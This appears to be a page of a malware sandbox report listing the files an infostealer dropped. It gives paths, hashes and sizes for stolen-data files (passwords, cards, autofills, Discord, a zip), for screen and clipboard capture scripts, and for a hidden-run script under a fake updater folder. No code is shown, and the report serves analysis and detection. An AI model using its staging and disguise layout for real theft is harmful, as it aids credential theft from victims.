Path C:\ProgramData\Steam\Launcher\EN-Oailvcny\Autofills\Autofills.txt
Size 94B
SHA256 d46a44dd86cea9187e6049fd56bb3b450c913756256b76b5253be9c3b043c521
MD5 2f308e49fe62fbc51aa7a9b987a630fe
SHA1 1b9277da78babd9c5e248b66ba6ab16c77b97d0b
SHA512 c3065baa302032012081480005f6871be27f26da758dc3b6e829ea8a3458e5c0a4740e408678f3ecf4600279d3fcad796f62f35b8591e46200ce896899573024
MD5 SHA1 SHA512

Submit Download

Cards.txt

Path C:\ProgramData\Steam\Launcher\EN-Oailvcny\Cards\Cards.txt
Size 70B
SHA256 983f823e85d9e4e6849a1ed58e5e3464f3a4adbe9d0daeeadd1416cf35178709
MD5 8a0ed121ee275936bf62b33f840db290
SHA1 898770c85b05670ab1450a96ea6fbd46e6310ef6
SHA512 7d429ce5c04a2e049cdf3f8d8165a989ab7e3e0ac25a7809c12c4168076492b797d2eebaf271ae02c51cb69786c2574ec3125166444e4fa6fc73430f75f8f154
MD5 SHA1 SHA512

Submit Download

discord.txt

Path C:\ProgramData\Steam\Launcher\EN-Oailvcny\Discord\discord.txt
Size 15B
SHA256 60fe7843b40ed5b7c68118bbba6bfe5f786a76397cdedb80612fd7cefce7f244
MD5 675951f6d9d75fd2c9c06b5ff547c6fd
SHA1 9b474ab39d1e2aad52ea5272dbac7d4f9fe44c09
SHA512 44dfb6c937283870c6eedf724649004a82631cd8eeb3f9c83e5bca619d1c9ffb8aa5f51c91d57f76789e2747712ce9c6ad207773928e5e00e712f640f8c25aea
MD5 SHA1 SHA512

Submit Download

Passwords.txt

Path C:\ProgramData\Steam\Launcher\EN-Oailvcny\Passwords\Passwords.txt
Size 78B
SHA256 e0fd13d912d320faaa64e177b4e75f54ec140692ebc5904d10e1cbe3e811ee05
MD5 c5e74f3120dbbd446a527e785dfe6d66
SHA1 11997c2a53d19fd20916e49411c7a61bfb590e9c
SHA512 a2bab776d22abf857c7df84b3c90851829eda615fbd450c9c72ab89f97591224380990a86c8e7e40ac811aa1225592743eebed63125d519d138fa28b859f2a3f
MD5 SHA1 SHA512

Submit Download

debug.log

Path C:\ProgramData\Steam\Launcher\EN-Oailvcny\debug.log
Size 1KB
SHA256 352c0d8c0a74b6c8b6e8b1b7403946e47331db65e7f7bfbb7cf14a9a709c380a
MD5 1f0eb5cb178073277d6e24433e75a495
SHA1 1085e82303da7e7690df3088466a6683dcde0d5e
SHA512 8a3bdf5d2a35fe7fdbbfd27347374265d47a2071512929a87f7f1929dc87b5b2123eb46811f693724e984109f97400476df9063e10285c253a3846a535360cb7
MD5 SHA1 SHA512

Submit Download

stolen_files.zip

Path C:\ProgramData\Steam\Launcher\EN-Oailvcny\stolen_files.zip
Size 22B
SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
MD5 76cdb2bad9582d23c1f6f4d868218d6c
SHA1 b04f3ee8f5e43fa3b162981b50bb72fe1acabb33
SHA512 5e2f959f36b66df0580a94f384c5fc1ceeec4b2a3925f062d7b68f21758b86581ac2adcfdde73a171a28496e758ef1b23ca4951c05455cdae9357cc3b5a5825f
MD5 SHA1 SHA512

Submit Download

CheckEpicGamesLauncher.bat

Path C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat
Size 1KB
SHA256 e396e532af9adbdce7bf1f018313422779f32e750bc8193131525922334821c2
MD5 93f90bda499e44e7497ed86627232b18
SHA1 711d3ed2e1d427dd6633ac3f1f258382694ac050
SHA512 edc2522ce9afef5bbaf9b89990ecb0913fe5d033979c1015682aa2fecde84bf4d757a484d744cf1bad78904e512b9b9632f3beedba1a743a13719216b0adfb4f
MD5 SHA1 SHA512

Submit Download

Get-Clipboard.ps1

Path C:\ProgramData\edge\Updater\Get-Clipboard.ps1
Size 3KB
SHA256 817c184e6a3e7d1ff60b33ec777e23e8e0697e84efde8e422833f05584e00ea5
MD5 a8834c224450d76421d8e4a34b08691f
SHA1 73ed4011bc60ba616b7b81ff9c9cad82fb517c68
SHA512 672b3eca54dff4316db904d16c2333247e816e0cd8ef2d866111ddb49ab491568cc12d7263891707403dd14962326404c13855d5de1ae148114a51cb7d5e5596
MD5 SHA1 SHA512

Submit Download

RunBatHidden.vbs

Path C:\ProgramData\edge\Updater\RunBatHidden.vbs
Size 146B
SHA256 cca09191a1a96d288a4873f79a0916d9984bd6be8dcbd0c25d60436d46a15ca1
MD5 14a9867ec0265ebf974e440fcd67d837
SHA1 ae0e43c2daf4c913f5db17f4d9197f34ab52e254
SHA512 36c69c26fd84b9637b370a5fe214a90778c9ade3b11664e961fe14226e0300f29c2f43d3a1d1c655d9f2951918769259928bbbc5a9d83596a1afc42420fc1a54
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b38573b02c2269db50f5ad5f19e4aa4bf81242288e28be37c3c5d09342991342
MD5 25d6227d95c6b0682bb5f34ce51dda1f
SHA1 dc5af45ce58b79867d74c33cb90b33ab302aea82
SHA512 02ce7cb859c7a87ddc20f7832c872f00915958dddb5b27aa25dbd28e750570600f45eb86b4e8f4ffd290269cff7272e738a2e101bfcc241912946eb7da0a6754
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bb4ddd1ee72f603da3c37011d188730d8439efe8f3d8184215531bb5e60c2db1
MD5 ec3adea7d4a1deb74a7ec18b3f2859b6
SHA1 e87fe82410d6334c9a166cc898e72f914b7e03fa
SHA512 0a5e8e42ee19794057d8c0d9b46336d2acc8fdca3d82dcc6ead050ad9bc53f6383f25bc6198eb1523bbeee821fe5a2f7530e76fab512149d4bc3f66d029b3b76
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 e9c1cdc42623bf758547d95d645c8918616250edf85ad62043d0d670d94c52c7
MD5 13be103fec8297a8d8ced4736ae77721
SHA1 b9c17b0aff55293b7cce790785552dd63cde4649
SHA512 5404e9f787a9e09be6a15ec1103c0f86ebedea93170ade9ea6d19a22cb611e19922b7a452231e9fa99574cbf2889ebce66f487eeef0c4a54b66f128c8200563f
MD5 SHA1 SHA512

Submit Download

CaptureScreens.ps1

Path C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1
Size 2KB
SHA256 7d8187b13b2487eecbb872b87c846794ca613d701176d9509f06eadc90388d86
MD5 1973f754ce2b186dd56a054209a38345
SHA1 5bac2c94f88e97eeb4df4492663d9918cfd597d1
SHA512 782a9e2f10b59f3870b208cc2906c94f3174545fff8bff79bf04d3bfc47e4489387f6de1c438e7f46372f7b3929a055d7255b8178db6c7ec258bf820cab6d782
MD5 SHA1 SHA512

Submit Download

RES7BF1.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7BF1.tmp
Size 1KB
SHA256 23cd75aae5e60b85d77b2f14ce6335e744b809b919a9e9ef2dbd3b41e92b363e
MD5 7883402fdb50adcfe84a555e074b6e7b
SHA1 821297e79049633035fb22dd7feb3f2377af3691
SHA512 8802a565321eb8a4cf38c757a0b84d601717dbf10409b515644f9888859c0e7bda5ef0b9340256ad52b1c519f840a46b88df4aeb2a40be52e226de816ddb1fb8
MD5 SHA1 SHA512

Submit Download

RES9F0A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9F0A.tmp
Size 1KB
SHA256 6243349b5457f7c0f8eb4ca8deede33f726dc11f8bee2f3fbd2edb6ab2f2df4a
MD5 c10d226c221e327a580860d6763762d9
SHA1 b404effe2a17d68312bc0a43b7667714e9785e84
SHA512 b6b6ea2770fd71bf01160d540f2603ac0e6fe83d1d10016d83f4a69148df7b4eace9c3fd5ea8a18f94c4013793f141cae1816a5f291096fa7daae3fa88cc784e
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_lmziqx55.wyo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lmziqx55.wyo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

by4u0wym.dll

Path C:\Users\Admin\AppData\Local\Temp\by4u0wym\by4u0wym.dll
Size 3KB
SHA256 ca6a9c2ec5c14cd986db2cf654163a855a5ccd0807d34e6b9f424aa5639ab969
MD5 a44f3659d485f7b12ebc771bc3452e39
SHA1 df1f3cd857426964b1ee0a5311adad3626dfe1db
SHA512 3d625f1ca2d8a4d438edefdd0629552ad520b28579b6f9a3ca335d248c87515fa123be9d3fa67b9794d032b94df9469a15f1c35a85a75c57cd90b0b43a254160
MD5 SHA1 SHA512

Submit Download

kv4rhkbx.dll

Path C:\Users\Admin\AppData\Local\Temp\kv4rhkbx\kv4rhkbx.dll
Size 3KB
SHA256 7fedba490d5e612cb268ad298525992dca43499b924fe423fc610d674df61704
MD5 ff176c9c2496c4050776b59968cdb56a
SHA1 cd0b080cbdef9032303b4be461ee115ee7feb3af
SHA512 565b981056c537b0c37911ce5888e30e8dce2b1841d5295673f61742aea5ae45b5b8175305f64f13098f7dcbe604ffe7feb121d9d17bb49a9a1383da0e5d7626
MD5 SHA1 SHA512

Submit Download

node_sqlite3.node

Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
MD5 SHA1 SHA512 SSDEEP

Submit Download

temp.ps1

Path C:\Users\Admin\AppData\Local\Temp\temp.ps1
Size 379B
SHA256 348342fd00e113a58641b2c35dd6a8f2c1fb2f1b16d8dff9f77b05f29e229ef3
MD5 18047e197c6820559730d01035b2955a
SHA1 277179be54bba04c0863aebd496f53b129d47464
SHA512 1942acd6353310623561efb33d644ba45ab62c1ddfabb1a1b3b1dd93f7d03df0884e2f2fc927676dc3cd3b563d159e3043d2eff81708c556431be9baf4ccb877
MD5 SHA1 SHA512

Submit Download

CSCB1214520C11F409280C87EA11134E0.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\by4u0wym\CSCB1214520C11F409280C87EA11134E0.TMP
Size 652B
SHA256 e7c9e5164a53a38fa70cb29d14b07b70580ba595cb20743b34a6585330ca7492
MD5 60cae15fa91187e99b6ddcc072c2ea5b
SHA1 08321871194c72e37f4f9d53ca88dad5b15316cd
SHA512 f429c54ab64221ef227ef2dd90b2e97d331a49352c30dc0b7aa4983d7a64458244971aed21d8e591d72f5c1966711882f6f4ba176926b5c8ec94d434cbc581c8
MD5 SHA1 SHA512

Submit Download

by4u0wym.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\by4u0wym\by4u0wym.0.cs
Size 311B
SHA256 36865e3bca9857e07b1137ada07318b9caaef9608256a6a6a7fd426ee03e1697
MD5 7bc8de6ac8041186ed68c07205656943
SHA1 673f31957ab1b6ad3dc769e86aedc7ed4b4e0a75
SHA512 0495839c79597e81d447672f8e85b03d0401f81c7b2011a830874c33812c54dab25b0f89a202bbb71abb4ffc7cb2c07cc37c008b132d4d5d796aebdd12741dba
MD5 SHA1 SHA512

Submit Download

by4u0wym.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\by4u0wym\by4u0wym.cmdline
Size 369B
SHA256 f5750b55c3044ad41745e04ebec1b460d9d7c4133570c10047e2640abc291633
MD5 54e1a2b470034e55ed81759585bc473b
SHA1 294a502c03f0162ec91db147c256c2103f027fc0
SHA512 d9e3ec313c5d1f7b62a2296784cce5cadc58b6334673a1d753c4bc19986184de15d38e4c7e60bc38c899651a98a7c84b638f471fd7e018ab4ec36b680950fe90
MD5 SHA1 SHA512

Submit Download

CSC719EB7069D9F49749E21CBD0FF618BA8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kv4rhkbx\CSC719EB7069D9F49749E21CBD0FF618BA8.TMP
Size 652B
SHA256 9e908244ffc62cb3f48dd8cdfe0cf264d0672b831552c77334bf4a5d384ecebb
MD5 a1dc2b207a5d3d957c170ecef682dc60
SHA1 316206a4035386f29c3c6dfde041cddd41120688
SHA512 088e2826ec1c855d35d8ad3309151c433125ff4b66cdfa2dbd2f56de712685097a2a6869ce2cae194d1aa009b412b5ebc8c6ed5fb9a909c801521bb946997354
MD5 SHA1 SHA512

Submit Download

kv4rhkbx.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\kv4rhkbx\kv4rhkbx.0.cs
Size 426B
SHA256 a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35
MD5 b462a7b0998b386a2047c941506f7c1b
SHA1 61e8aa007164305a51fa2f1cebaf3f8e60a6a59f
SHA512 eb41b838cc5726f4d1601d3c68d455203d3c23f17469b3c8cbdd552f479f14829856d699f310dec05fe7504a2ae511d0b7ffff6b66ceadb5a225efe3e2f3a020
MD5 SHA1 SHA512

Submit Download

kv4rhkbx.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kv4rhkbx\kv4rhkbx.cmdline
Size 369B
SHA256 a2676bb23ea35df4b288ac715f784da7758fe32f1400bf4280cc14faf40768a1
MD5 02614d28e501991f06336939fd15483a
SHA1 c0d662159146e53c5ac95ce386f9cf530beda5af
SHA512 972ea3fc0028c872c8e98869263a9a00a07ffe7c1813502ddb703318ae9128fdb6985a678b4eafafac540c733b13d922ad8de337c9989617a6167d7c084792ce
MD5 SHA1 SHA512

Submit Download

memory/772-119-0x00000289282D0000-0x0000028928320000-memory.dmp

Download

memory/1004-90-0x00007FFE89DA3000-0x00007FFE89DA5000-memory.dmp

Download

memory/1004-85-0x000001E8579B0000-0x000001E857A26000-memory.dmp

Download

memory/1004-84-0x000001E8578E0000-0x000001E857924000-memory.dmp

Download

memory/1004-83-0x00007FFE89DA0000-0x00007FFE8A861000-memory.dmp

Download

memory/1004-82-0x000001E857390000-0x000001E8573B2000-memory.dmp

Download

memory/1004-91-0x00007FFE89DA0000-0x00007FFE8A861000-memory.dmp

Download

memory/1004-72-0x00007FFE89DA3000-0x00007FFE89DA5000-memory.dmp

Download

memory/1004-105-0x00007FFE89DA0000-0x00007FFE8A861000-memory.dmp

Download

memory/1004-101-0x000001E857530000-0x000001E857538000-memory.dmp

Download

memory/1444-187-0x00000267E30D0000-0x00000267E30D8000-memory.dmp

Download